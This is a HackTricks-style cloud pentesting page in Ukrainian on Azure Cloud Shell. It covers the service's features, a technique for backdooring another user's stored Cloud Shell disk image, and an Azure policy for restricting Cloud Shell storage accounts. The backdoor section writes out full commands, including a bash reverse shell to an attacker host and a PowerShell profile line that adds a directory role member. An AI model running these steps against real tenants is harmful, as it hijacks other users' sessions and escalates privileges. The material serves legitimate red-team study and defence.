Az - Cloud Shell
Reading time: 5 minutes
tip
Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Вивчайте та практикуйте Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Підтримка HackTricks
- Перевірте плани підписки!
- Приєднуйтесь до 💬 групи Discord або групи Telegram або слідкуйте за нами в Twitter 🐦 @hacktricks_live.
- Діліться хакерськими трюками, надсилаючи PR до HackTricks та HackTricks Cloud репозиторіїв на GitHub.
Azure Cloud Shell
Azure Cloud Shell - це інтерактивний, автентифікований термінал, доступний через браузер, призначений для управління ресурсами Azure, що пропонує гнучкість роботи як з Bash, так і з PowerShell. Він працює на тимчасовому хості, що закривається після 20 хвилин бездіяльності, зберігаючи файли в місці $HOME за допомогою файлового сховища обсягом 5 ГБ. Cloud Shell можна отримати через кілька точок, включаючи портал Azure, shell.azure.com, документацію Azure CLI та PowerShell, мобільний додаток Azure та розширення Azure Account для Visual Studio Code.
Не існує дозволів, призначених для цього сервісу, тому немає технік підвищення привілеїв. Також немає жодного виду перерахунку.
Основні функції
- Попередньо встановлені інструменти: Cloud Shell включає в себе комплексний набір попередньо встановлених інструментів, таких як Azure CLI, Azure PowerShell, Terraform, Docker CLI, Ansible, Git та текстові редактори, такі як vim, nano та emacs. Ці інструменти готові до використання. Щоб перерахувати встановлені пакети та модулі, ви можете використовувати "Get-Module -ListAvailable", "tdnf list" та "pip3 list".
- Диск Azure (Azure:): PowerShell в Azure Cloud Shell включає диск Azure (Azure:), що дозволяє легко навігувати ресурсами Azure, такими як Compute, Network та Storage, використовуючи команди, схожі на файлову систему. Перейдіть на диск Azure за допомогою cd Azure: і поверніться до домашнього каталогу за допомогою cd ~. Ви все ще можете використовувати cmdlet Azure PowerShell для управління ресурсами з будь-якого диска.
- Встановлення користувацьких інструментів: Користувачі, які налаштовують Cloud Shell з обліковим записом зберігання, можуть встановлювати додаткові інструменти, які не потребують прав адміністратора. Ця функція дозволяє подальшу налаштування середовища Cloud Shell, даючи можливість користувачам адаптувати свою конфігурацію до своїх конкретних потреб.
- $HOME збереження: При першому запуску Azure Cloud Shell ви можете використовувати його з або без підключеного облікового запису зберігання.
- Вибір не підключати зберігання створює епізодичну сесію, де файли видаляються, коли сесія закінчується.
- Щоб зберегти файли між сесіями, вам надається можливість підключити обліковий запис зберігання, який автоматично підключається як
$HOME\clouddrive
, з вашим каталогом$HOME
збереженим як .img файл у файловому сховищі.
Фішинг у Cloud Shell
Якщо зловмисник знайде зображення інших користувачів у обліковому записі зберігання, до якого він має доступ на запис і читання, він зможе завантажити зображення, додати бекдор на bash і PS у нього та завантажити його назад до облікового запису зберігання, щоб наступного разу, коли користувач отримує доступ до оболонки, команди будуть автоматично виконані.
- Завантажити, додати бекдор і завантажити зображення:
# Download image
mkdir /tmp/phishing_img
az storage file download-batch -d /tmp/phishing_img --account-name <acc-name>
# Mount image
cd /tmp/phishing_img/.cloudconsole
mkdir /tmp/cloudpoison
sudo mount acc_username.img /tmp/cloudpoison
cd /tmp/cloudpoison
sudo mkdir .config
sudo mkdir .config/PowerShell
sudo touch .config/PowerShell/Microsoft.PowerShell_profile.ps1
sudo chmod 777 .config/PowerShell/Microsoft.PowerShell_profile.ps1
# Bash backdoor
echo '(nohup /usr/bin/env -i /bin/bash 2>/dev/null -norc -noprofile >& /dev/tcp/${SERVER}/${PORT} 0>&1 &)' >> .bashrc
# PS backdoor
echo "Connect-AzureAD; Add-AzureADDirectoryRoleMember -ObjectId 1246bcfd-42dc-4bb7-a86d-3637ca422b21 -RefObjectId 1D8B2447-8318-41E5-B365-CB7275862F8A" >> .config/PowerShell/Microsoft.PowerShell_profile.ps1
cd /tmp
sudo umount /tmp/cloudpoison
# Upload image
az storage file upload --account-name <acc-name> --path ".cloudconsole/acc_username.img" --source "./tmp/phishing_img/.cloudconsole/acc_username.img"
- Потім, фіште користувача, щоб отримати доступ до https://shell.azure.com/
Знайти та заборонити автоматичні облікові записи зберігання Cloud Shell
Облікові записи зберігання, створені Cloud Shell, позначені ms-resource-usage:azure-cloud-shell
. Можливо створити політику ресурсів Azure, яка забороняє створення ресурсів з цим тегом.
Знайдіть всі облікові записи зберігання, створені Cloud Shell, за тегами:
az storage account list --output json | jq '.[] | select(.tags["ms-resource-usage"]=="azure-cloud-shell")'
Політика, що забороняє створення автоматичних облікових записів зберігання для зберігання в хмарному оболонці на основі тегів:
{
displayName: "Restrict cloud shell storage account creation",
description: "Storage accounts that you create in Cloud Shell are tagged with ms-resource-usage:azure-cloud-shell. If you want to disallow users from creating storage accounts in Cloud Shell, create an Azure resource policy for tags that is triggered by this specific tag. https://learn.microsoft.com/en-us/azure/cloud-shell/persisting-shell-storage#restrict-resource-creation-with-an-azure-resource-policy",
metadata: {
category: "Storage",
version: "1.0.0"
},
mode: "All",
parameters: {
effect: {
type: "String",
metadata: {
displayName: "Effect",
description: "Deny, Audit or Disabled the execution of the Policy"
},
allowedValues: [
"Deny",
"Audit",
"Disabled"
],
defaultValue: "Audit"
}
},
policyRule: {
if: {
allOf: [
{
field: "type",
equals: "Microsoft.Storage/storageAccounts"
},
{
field: "tags['ms-resource-usage']",
equals: "azure-cloud-shell"
}
]
},
then: {
effect: "[parameters('effect')]"
}
}
}
References
- https://learn.microsoft.com/en-us/azure/cloud-shell/overview
- https://learn.microsoft.com/en-us/azure/cloud-shell/features
- https://learn.microsoft.com/en-us/azure/cloud-shell/using-the-shell-window
Persistence
tip
Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Вивчайте та практикуйте Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Підтримка HackTricks
- Перевірте плани підписки!
- Приєднуйтесь до 💬 групи Discord або групи Telegram або слідкуйте за нами в Twitter 🐦 @hacktricks_live.
- Діліться хакерськими трюками, надсилаючи PR до HackTricks та HackTricks Cloud репозиторіїв на GitHub.